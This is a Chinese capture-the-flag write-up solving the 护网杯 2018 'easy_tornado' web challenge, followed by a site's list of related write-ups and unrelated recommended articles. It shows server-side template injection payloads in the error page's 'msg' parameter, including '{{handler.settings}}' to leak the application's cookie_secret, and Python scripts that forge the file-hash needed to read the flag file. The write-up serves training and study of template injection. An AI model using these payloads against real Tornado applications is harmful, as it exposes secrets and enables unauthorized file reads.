简介

原题复现:

 考察知识点:模板注入

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

[护网杯 2018]easy_tornado

打开页面发现三个链接依次打开  发现各自的文本

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

从上面三个信息我们的值flag在/fllllllllllllag文件 render这个卡住了看了WP 说render是模板注入,经过测试发现过滤了

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{1*2}}

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

然后就是这段代码md5(cookie_secret+md5(filename))  我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造

关于如何获取cookie_secret是看WP的目前理解的有点混乱不清晰!!!!

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}

成功拿到

根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密

python3版本

import hashlib
hash = hashlib.md5() filename='/fllllllllllllag'
cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

python2.7版本

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
print(md5.hexdigest())
return md5.hexdigest() def filehash():
filename = '/fllllllllllllag'
cookie_secret = '0567b8eb-21bc-4c25-861f-481b36239643'
print(cookie_secret + md5(filename))
print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
filehash()

得到加密的结果

filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43

获得flag

参考学习:

  https://blog.csdn.net/ljphilp/article/details/47103745

  https://www.cnblogs.com/chrysanthemum/p/11716903.html

  https://darkwing.moe/2019/10/30/护网杯2018-easy-tornado/

  SSTI完全学习:https://blog.csdn.net/zz_Caleb/article/details/96480967

        https://www.jianshu.com/p/aef2ae0498df

  https://www.cnblogs.com/20175211lyz/p/11425368.html

  

[原题复现]2018护网杯(WEB)easy_tornado(模板注入)的更多相关文章

  1. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

  2. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  3. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  4. [原题复现]2019强网杯WEB-随便注(多种方法)

    简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli  考察知识点:SQL注入漏洞-堆叠注入  线上平台:https://buuoj.cn( ...

  5. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  6. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  7. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  8. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  9. [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

    简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...

随机推荐

  1. 第二十三章 Firewalld的防火墙

    一.防火墙基本概述 在CentOS7系统中集成了多款防火墙管理工具,默认启用的是firewalld(动态防火墙管理器)防火墙管理工具,Firewalld支持CLI(命令行)以及GUI(图形)的两种管理 ...

  2. qemu-kvm安装and配置桥接和SR-IOV

    kvm和docker的区别:kvm是全虚拟化,需要模拟各种硬件,docker是容器,共享宿主机的CPU,内存,swap等.本文安装的qemu-kvm属于kvm虚拟化,其中:kvm负责cpu虚拟化和内存 ...

  3. 初学 Python 需要安装哪些软件?

    自动配置.有效求助.协作编程.版本控制.一站式解决 Python 新手练习中的痛点. 痛点 这个学期,我在北得克萨斯大学(University of North Texas)教 INFO 5731: ...

  4. C# 9.0 新特性预览 - init-only 属性

    C# 9.0 新特性预览 - init-only 属性 前言 随着 .NET 5 发布日期的日益临近,其对应的 C# 新版本已确定为 C# 9.0,其中新增加的特性(或语法糖)也已基本锁定,本系列文章 ...

  5. 【转】Optimized Surface Loading and Soft Stretching

    FROM:http://lazyfoo.net/tutorials/SDL/05_optimized_surface_loading_and_soft_stretching/index.php Opt ...

  6. RocketMQ4.7.1双主双从集群搭建

    导读 上一集我们已经学会了SpringBoot整合RocketMQ点我直达,今天我们来搭建双主双从高性能MQ服务集群. 简介 主从架构 Broker角色,Master提供读写,Slave只支持读,Co ...

  7. 关于ansible命令的执行过程

    首先说明一下.每一个模块.都是有相应的.py文件的,可以通过rpm -ql ansible看到 要观察模块执行过程,可以在ansible命令执行时加上-v或-vvv,或者-vvvv看得更加详细 ans ...

  8. ubuntu裸机启动python博客项目

    关注公众号"轻松学编程"了解更多. 在linux的ubuntu(18.04)中正确安装python的命令: sudo apt clean sudo apt update sudo ...

  9. 没人比我更懂 HashMap :)

    哈,标题开个玩笑,0202 年的段子哈. 一.首先看一下 HashMap 的构造函数 /** * Constructs an empty <tt>HashMap</tt> wi ...

  10. MyBatis重要核心概念

    一.SqlSessionFactoryBuilder 从命名上可以看出,这个是一个 Builder 模式的,用于创建 SqlSessionFactory 的类.SqlSessionFactoryBui ...